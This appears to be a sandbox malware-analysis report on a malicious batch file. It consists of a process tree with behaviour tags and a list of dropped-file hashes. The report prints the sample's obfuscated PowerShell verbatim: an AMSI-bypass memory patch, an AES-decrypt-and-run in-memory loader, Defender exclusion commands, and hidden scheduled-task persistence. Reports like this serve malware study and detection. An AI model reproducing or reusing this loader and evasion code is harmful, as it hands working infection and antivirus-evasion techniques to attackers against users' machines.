$_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+'s'+''+[Char](116)+''+[Char](101)+'m'+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType('Mi'+[Char](99)+''+'r'+''+'o'+''+[Char](115)+'of'+[Char](116)+''+'.'+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+'eN'+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+''+'s'+'');$WJcHwrgIwMHfIW=$SdAxqJnGOfsWb.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c,'+'S'+'t'+[Char](97)+''+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QlTxkoQQHXDqqkMTrYt=qOvePjccuiEi @([String])([IntPtr]);$UoSTxkneJzXdesVbzWNKqY=qOvePjccuiEi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yOlyYSFmgdV=$SdAxqJnGOfsWb.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+'ul'+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+'e'+'l'+''+'3'+''+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$rVebmkWyrHlcFr=$WJcHwrgIwMHfIW.Invoke($Null,@([Object]$yOlyYSFmgdV,[Object](''+'L'+''+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+'ary'+[Char](65)+'')));$QudEXuerKTnDNWfIw=$WJcHwrgIwMHfIW.Invoke($Null,@([Object]$yOlyYSFmgdV,[Object](''+[Char](86)+'i'+'r'+'t'+[Char](117)+''+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$GrsnzsF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rVebmkWyrHlcFr,$QlTxkoQQHXDqqkMTrYt).Invoke(''+[Char](97)+'ms'+'i'+''+'.'+''+'d'+''+[Char](108)+'l');$RbxvEhtImLsJaoKxb=$WJcHwrgIwMHfIW.Invoke($Null,@([Object]$GrsnzsF,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+'S'+'c'+[Char](97)+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$UiXnTIAEZO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QudEXuerKTnDNWfIw,$UoSTxkneJzXdesVbzWNKqY).Invoke($RbxvEhtImLsJaoKxb,[uint32]8,4,[ref]$UiXnTIAEZO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RbxvEhtImLsJaoKxb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QudEXuerKTnDNWfIw,$UoSTxkneJzXdesVbzWNKqY).Invoke($RbxvEhtImLsJaoKxb,[uint32]8,0x20,[ref]$UiXnTIAEZO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+'7'+'7'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1124

C:\ProgramData\7zip.exe
C:\ProgramData\7zip.exe
2⤵
- Executes dropped EXE
PID:3292

C:\ProgramData\7zip.exe
C:\ProgramData\7zip.exe
2⤵
- Executes dropped EXE
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1396

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1792

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2720

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2228

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3356

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Fanta_Is_Better_Than_Coke.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rXR21TuBxaovC83qSMg04/FSGHmsp9PToRRPGU6+NCs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mzxnaH7Z8Ji0bIkEn9uCtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kfjQH=New-Object System.IO.MemoryStream(,$param_var); $eDzYx=New-Object System.IO.MemoryStream; $qNgsY=New-Object System.IO.Compression.GZipStream($kfjQH, [IO.Compression.CompressionMode]::Decompress); $qNgsY.CopyTo($eDzYx); $qNgsY.Dispose(); $kfjQH.Dispose(); $eDzYx.Dispose(); $eDzYx.ToArray();}function execute_function($param_var,$param2_var){ $vCMob=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SiQQu=$vCMob.EntryPoint; $SiQQu.Invoke($null, $param2_var);}$LjjFB = 'C:\Users\Admin\AppData\Local\Temp\Fanta_Is_Better_Than_Coke.bat';$host.UI.RawUI.WindowTitle = $LjjFB;$YZHVM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LjjFB).Split([Environment]::NewLine);foreach ($UeSyt in $YZHVM) { if ($UeSyt.StartsWith('SRNvOHXhZzwVKgCZaJJj')) { $aZcZK=$UeSyt.Substring(20); break; }}$payloads_var=[string[]]$aZcZK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
3⤵
PID:2128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_778_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_778.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_778.vbs"
4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_778.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:5000

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:2948

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rXR21TuBxaovC83qSMg04/FSGHmsp9PToRRPGU6+NCs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mzxnaH7Z8Ji0bIkEn9uCtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kfjQH=New-Object System.IO.MemoryStream(,$param_var); $eDzYx=New-Object System.IO.MemoryStream; $qNgsY=New-Object System.IO.Compression.GZipStream($kfjQH, [IO.Compression.CompressionMode]::Decompress); $qNgsY.CopyTo($eDzYx); $qNgsY.Dispose(); $kfjQH.Dispose(); $eDzYx.Dispose(); $eDzYx.ToArray();}function execute_function($param_var,$param2_var){ $vCMob=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SiQQu=$vCMob.EntryPoint; $SiQQu.Invoke($null, $param2_var);}$LjjFB = 'C:\Users\Admin\AppData\Roaming\Windows_Log_778.bat';$host.UI.RawUI.WindowTitle = $LjjFB;$YZHVM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LjjFB).Split([Environment]::NewLine);foreach ($UeSyt in $YZHVM) { if ($UeSyt.StartsWith('SRNvOHXhZzwVKgCZaJJj')) { $aZcZK=$UeSyt.Substring(20); break; }}$payloads_var=[string[]]$aZcZK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
6⤵
PID:2304

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:984

C:\Users\Admin\AppData\Local\Temp\Windows PowerShell.exe
"C:\Users\Admin\AppData\Local\Temp\Windows PowerShell.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1868

C:\Users\Admin\AppData\Local\Temp\7zip.exe
"C:\Users\Admin\AppData\Local\Temp\7zip.exe"
7⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7zip.exe'
8⤵
- Command and Scripting Interpreter: PowerShell
PID:492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7zip.exe'
8⤵
- Command and Scripting Interpreter: PowerShell
PID:2604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\7zip.exe'
8⤵
- Command and Scripting Interpreter: PowerShell
PID:4116

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "7zip" /tr "C:\ProgramData\7zip.exe"
8⤵
- Scheduled Task/Job: Scheduled Task
PID:2996

C:\Users\Admin\AppData\Local\Temp\conhost.exe
"C:\Users\Admin\AppData\Local\Temp\conhost.exe"
7⤵
- Executes dropped EXE
PID:960

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:1060

C:\Users\Admin\AppData\Local\Temp\wininit.exe
"C:\Users\Admin\AppData\Local\Temp\wininit.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4972

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$phantomSTARTUP~MSF" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\wininit.exe" /rl HIGHEST /f
8⤵
- Scheduled Task/Job: Scheduled Task
PID:3960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WINDOWSBIOS .COM'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:4504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WINDOWSBIOS .COM'
7⤵
- Command and Scripting Interpreter: PowerShell
PID:3432

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WINDOWSBIOS " /tr "C:\ProgramData\WINDOWSBIOS .COM"
7⤵
- Scheduled Task/Job: Scheduled Task
PID:2612

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:3224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3588

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3780

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3932

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3996

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3228

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4044

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2640

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1544

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Modifies registry class
PID:4604

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:4488

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 25dd19b122f0b1a7f17c85849a8ecd10 ij0D08FTzUubVx9b9VYGIA.0.1.0.0.0
1⤵
PID:3456

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
2⤵
PID:5040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4884

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4312

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1600

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:1988

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:4696

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:3308

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:3184

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5012

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize
328B

MD5
b7100fd3a21788520d2588b8d86676db

SHA1
85bbcaee5eea20b8b3ca77839276792696579e88

SHA256
0340c578f19aa5fb6ec208a5f30eabe3addf291a98fcc6d87e560b4b2835772c

SHA512
214c558e663b47acec9e56ca6b04fe9c33529f5a4f7abdaa6cf69b9804b3ef30cfdd101972ca653aee8546492cf93ce3a1345591c3c1b29cb99b59767898e53a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\7zip.exe.log
Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
71c4b1323b5c2b0b3dce79a418170c57

SHA1
f2484755165cc812bd2017c3ff93d7aef8e9f642

SHA256
b7151a59702581451ad3accb25d5aa7889a4d385142568331f42b0fcc2019872

SHA512
9048311d8ca08c33c090038fce1b5f28d22e1b9b0c1a6bb27f97619c778e2d474a3f10ab92c76bd487b94e059b5d066d1d960eec15b6a3a74355099494172e51

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
dbb22d95851b93abf2afe8fb96a8e544

SHA1
920ec5fdb323537bcf78f7e29a4fc274e657f7a4

SHA256
e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465

SHA512
16031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
22310ad6749d8cc38284aa616efcd100

SHA1
440ef4a0a53bfa7c83fe84326a1dff4326dcb515

SHA256
55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

SHA512
2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize
328B

MD5
61f013e52f57493aee1a15d4b65ead11

SHA1
037e4a5fe17081c6be734465eabd0adcf681864e

SHA256
c8a0fb21052edd3560d72288fe299ef83b428bf891e33090b2347bdc172da59f

SHA512
55051a9bad4190e3322f3ff7a8ac674d3908dd7d6b5dc2b35722cad02ea0490912e5e7072a576e397d7cd077e301e13b238a1fba9e0ac69d0a98d0bd5136b526

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize
330B

MD5
93c898ff539e0358970b86253462586a

SHA1
8e533a5ea1555e87d181200cf0c5d692aca1a2ae

SHA256
a2cfc0dd6cddb415482e4774a1b6669a8b76572fa7ab7db98aa79f1fe7d0fc49

SHA512
5c93a1d184c64628442142e952d15a8acf3c0aec259e1781f522f01dae8a2ef2ad830eb8eefae97df3038e5c12841997131b16dfab4c87712cee2fb62424cc43

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zip.exe
Filesize
81KB

MD5
6fac9c3612488908d9aa6ed9e8234f9f

SHA1
8b36017162e06e76a450e2ecceee4d3a68bb3905

SHA256
0ca49b53ed70a9fabe46a92daa4a134f1afaf99b9098f81e33084a95c8586606

